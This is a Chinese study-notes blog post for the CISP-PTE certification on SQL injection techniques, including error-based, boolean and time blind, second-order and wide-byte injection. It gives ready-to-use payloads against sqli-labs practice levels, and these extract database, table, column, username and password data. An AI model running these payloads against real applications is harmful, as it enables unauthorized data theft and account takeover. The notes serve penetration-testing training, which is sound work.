首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >cisp-pte学习笔记之SQL注入(二)

cisp-pte学习笔记之SQL注入(二)

作者头像
cultureSun
发布2023-07-08 16:12:56
发布2023-07-08 16:12:56
7780
举报
文章被收录于专栏:cultureSun学安全cultureSun学安全

sql注入--报错注入

floor() rand() count() group by() 分配初始创建一个虚拟表 分两种 第一种 第一次取数据在虚拟表中进行索引,索引未发现同类项,进行二次取数,进行写入 第二种 第一次取数据在虚拟表中进行索引,索引发现同类型,直接写入,不进行二次取数 concat()

查数据库名

代码语言:javascript
复制
?id=-1' union select 1,count(*),concat((select database()),floor(rand(0)*2)) as a from information_schema.columns group by a %23

查表名

代码语言:javascript
复制
?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where 
table_schema='security' limit 3,1),floor(rand(0)*2)) as a from information_schema.columns group by a %23

查列名

代码语言:javascript
复制
?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand(0)*2)) as a from information_schema.columns group by a %23

查字段值

代码语言:javascript
复制
?id=-1' union select 1,count(*),concat((select username from users limit 0,1),floor(rand(0)*2)) as a from information_schema.columns group by a %23

extractvalue()报错

extractvalue(xml_document,xpath_string) 第一个参数是xml文档对象的名称 第二个参数是从xml文档对象中返回查询到的字符串,返回长度限制在32位字符

extractvalue(1,concat(0x7e,(select database()),0x7e)) extractvalue(1,concat('~',(select database()),'~')) xpath格式 ~:十六进制0x7e xml文档中查找字符位置时,使用/xxx/xxx/xxx/格式 只要写入不符合上述格式的内容,就会报错

updatexml()报错

updatexml(xml_target,xpath_expr,new_xml) xml_target:xml对象的名称 string类型 xpath_expr:使用xpath格式的路径 new_xml:需要更新的内容

updatexml(1,concat('!',(select database()),'~'),1)

sql注入盲注--布尔盲注和时间盲注

布尔盲注

length() substr() ascii() count()

猜测数据库长度

?id=1' and length(database())=8 --+

猜测数据库的名称

?id=1' and ascii(substr((select database()),1,1))=115 --+

猜测数据表的数量

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+

猜测数据表的长度

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5 --+

猜测数据表的名称

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117 --+

猜测字段数

?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3 --+

猜测字段名的长度

?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 --+

猜测字段名

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105 --+

猜测username值的数量

?id=1' and (select count(username) from users )=13 --+

猜测username值的长度

?id=1' and length((select username from users limit 0,1))=4 --+

猜测username的值

?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+

时间盲注

if(a,b,c) 当a为真值时,执行b;当a为假值时,执行c sleep()

猜测闭合方式

?id=1' and if(1=1,sleep(3),1) --+

sql-labs之Less-9

?id=1' and if(length(database())>7,sleep(3),1) --+

二次注入

分为两个阶段 第一阶段进行特殊字符的写入 第二阶段调用提前写入的特殊字符,完成注入过程

任意修改用户密码

update users set password=$newpass where username='$username' and password=$oldpass

$newpass $oldpass

$username=pte0618'

update users set password=$newpass where username='pte0618'#' and password=$oldpass

宽字节注入

addslashes mysql_real_escape_string mysql_escape_string

当字符的大小为一个字节时,称之为窄字节 例如ascii编码 当字符的大小为两个字节时,称之为宽字节 例如GB2312、GBK、GB8030

mysql使用GBK编码时,默认的会认为两个字符为一个汉字,前一个字符的ascii值大于128,达到汉字范围

'-->\' %df'-->%df\'-->%df%5c'-->汉字'

sql-labs之Less-32

判断闭合方式

?id=1%df' and 1=2 %23

判断列数

?id=1%df' order by 3%23

查看回显位置

?id=-1%df' union select 1,2,3%23

查看库名

?id=-1%df' union select 1,database(),3%23

查看表名

?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

查看列名

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273 %23

查看字段值

?id=-1%df' union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users %23

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-07-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • sql注入--报错注入
    • 查数据库名
    • 查表名
    • 查列名
    • 查字段值
  • extractvalue()报错
  • updatexml()报错
  • sql注入盲注--布尔盲注和时间盲注
    • 布尔盲注
      • 猜测数据库长度
      • 猜测数据库的名称
      • 猜测数据表的数量
      • 猜测数据表的长度
      • 猜测数据表的名称
      • 猜测字段数
      • 猜测字段名的长度
      • 猜测字段名
      • 猜测username值的数量
      • 猜测username值的长度
      • 猜测username的值
    • 时间盲注
    • 猜测闭合方式
    • sql-labs之Less-9
  • 二次注入
  • 宽字节注入
    • sql-labs之Less-32
      • 判断闭合方式
      • 判断列数
      • 查看回显位置
      • 查看库名
      • 查看表名
      • 查看列名
      • 查看字段值
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档